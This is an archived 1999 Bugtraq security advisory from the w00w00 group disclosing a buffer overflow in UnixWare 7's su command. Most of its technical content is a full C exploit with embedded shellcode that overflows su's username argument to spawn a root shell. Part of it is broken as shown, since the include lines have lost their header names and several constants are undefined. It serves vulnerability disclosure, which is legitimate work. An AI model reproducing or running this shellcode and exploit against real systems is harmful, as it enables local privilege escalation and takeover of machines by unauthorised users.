-----Original Message----- Date: Fri, 26 Nov 1999 04:16:41 +0300 (MSK) From: Matt Conover To: bugtraq@securityfocus.com cc: news@technotronic.com Subject: [w00giving '99 #5 and w00news]: UnixWare 7's su Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII w00w00 Security Development (WSD) http://www.w00w00.org/advisories.html ---------------------------------------------------------------------------- Sorry, we've been really tied up these past 2-3 weeks and have been unable to write up the advisories. We'll send three SCO advisories tonight to make up for it. We should have some interesting ones within the next two weeks (it's really hard to find the time to write up the exploits and advisories). You'll noticed we jumped from #3 to #5. w00giving advisory #4 has been available on http://www.w00w00.org/advisories.html for 2-3 weeks, but it wasn't posted to this list. w00w00.org has had hits from 55 different countries as of yesterday. If you are going to send out advisories, please cc them to news@technotronic.com, also. You can subscribe to it by sending "subscribe news" to majordomo@technotronic.com. Technotronic is a good site and beginning now, you will always see our advisories/articles/code posted on there first (order of release: w00w00.org, news@technotronic.com, news groups, bugtraq). ---------------------------------------------------------------------------- Discovered by: K2 (ktwo@ktwo.ca) The su command on SCO's UnixWare 7 has improper bounds checking on the username passed (via argv[1]), which can cause a buffer overflow when a lengthy username is passed. ---------------------------------------------------------------------------- Exploit (by K2): // UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999 #include #include #include #include char shell[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; const char x86_nop=0x90; long nop,esp; long offset=DEFOFF; char buffer[SIZE]; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { register int i; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); else nop = NOPDEF; esp = get_esp(); memset(buffer, x86_nop, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < SIZE-4; i += 4) *((int *) &buffer[i]) = esp+offset; printf("offset = [0x%x]\n",esp+offset); execl("/usr/bin/su", "su", buffer, NULL); printf("exec failed!\n"); return 0; } ---------------------------------------------------------------------------- Patch: SCO is in the process of fixing a list of vulnerabilities we sent a few weeks ago. ----------------------------------------------------------------------------